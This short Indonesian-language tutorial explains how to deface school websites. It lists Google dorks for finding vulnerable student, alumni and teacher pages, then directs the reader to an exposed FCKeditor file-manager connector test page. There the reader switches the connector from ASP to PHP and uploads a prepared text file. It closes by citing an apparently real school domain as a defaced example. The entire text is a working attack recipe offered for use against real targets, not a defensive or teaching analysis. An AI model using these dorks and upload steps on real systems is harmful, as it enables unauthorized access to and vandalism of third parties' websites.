Deface Website Sekolah

1. Siapkan file txt.

2. Dork:

• inurl:/html/siswa.php? 
• inurl:/html/alumni.php?
• inurl:/html/guru.php?

3. Exploit: /editor/filemanager/connectors/test.html (lalu, copas ini)

EX:

• http://xxx.sch.id/html/siswa.php
• http://xxx.sch.id/html/almni.php
• http://xxx.sch.id/html/guru.php

*Sesuai Dork.

Ganti jadi: http://xxxx/editor/f...ctors/test.html

4. Ganti ASP jadi PHP.
5. Browse file txt yang sudah disiapkan -> open -> upload.
6. Hasilnya: http://xxx.sch.id/userfiles/file/nama-file.txt

Contoh hasil : http://sman1kotabaru.sch.id/userfiles/file/deface-=JEC=-.txt